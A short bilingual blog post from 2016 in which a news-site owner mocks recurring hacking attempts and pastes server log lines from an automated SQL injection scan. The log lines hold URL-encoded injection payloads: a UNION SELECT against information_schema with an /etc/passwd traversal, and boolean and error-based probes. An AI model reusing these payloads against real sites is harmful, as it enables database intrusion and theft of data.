samedi 23 juillet 2016

The daly life of a news website... | La vie quotidienne d'un site web d'actualité...

This happens almost everyday and for many years, people trying to hack my news website.  I don't know why, because there is only news on it.  No user database, no e-commerce... just a bunch of world news!

Maybe someone doesn't want you to be really informed about what is happening...


Ceci arrive presque quotidiennement et depuis des années, des gens qui essaient de pirater mon site de nouvelles.  Je ne sais pas pourquoi parce qu'il n'y a que des nouvelles dessus.  Pas de base de données de membres, pas de commerce électronique... juste une poignée d'actualité mondiale!

Peut-être que quelqu'un ne veux pas que vous restiez informé sur ce qui se passe...

DJon

-----------------------------------

Here his some log that represents a MySQL injection attack, you can see all the requests that, of course, are trapped and discarded.  This dumb guy tries to hack a database... that does not exist! FAIL!

Voici un extrait du log qui représente une attaque par injection MySQL, vous y voyez toutes les requêtes qui, évidemment, ont été attapées et jetées.  Ce stupide pirate essaie d'attaquer une base de donnée... qui n'existe pas!  FAIL!


2016-07-23 11:12 - 109.236.81.85, Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.13, /go.php?newsid=151295&EuIK%3D1595%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2C2%2C%27%3Cscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%20NOT%20BETWEEN%200%20AND%201--%20..%2F..%2F..%2Fetc%2Fpasswd

2016-07-23 11:12 - 109.236.81.85, Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.13, /go.php?newsid=%28SELECT%20%28CASE%20WHEN%20%285899%3D1511%29%20THEN%205899%20ELSE%205899%2A%28SELECT%205899%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%29%20END%29%29

2016-07-23 11:12 - 109.236.81.85, Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.13, /go.php?newsid=%28SELECT%20%28CASE%20WHEN%20%287663%3D7663%29%20THEN%207663%20ELSE%207663%2A%28SELECT%207663%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%29%20END%29%29

2016-07-23 11:12 - 109.236.81.85, Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.13, /go.php?newsid=151295%29%20AND%20%28SELECT%203529%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x71786b6271%2C%28SELECT%20%28ELT%283529%3D3529%2C1%29%29%29%2C0x71786a7671%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%283183%20BETWEEN%203183%20AND%203183

2016-07-23 11:12 - 109.236.81.85, Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.13, /go.php?newsid=151295%20AND%20%28SELECT%203529%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x71786b6271%2C%28SELECT%20%28ELT%283529%20BETWEEN%203529%20AND%203529%2C1%29%29%29%2C0x71786a7671%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29

... and it continues for 10 minutes...
... et ça continue pendant 10 minutes...

Aucun commentaire: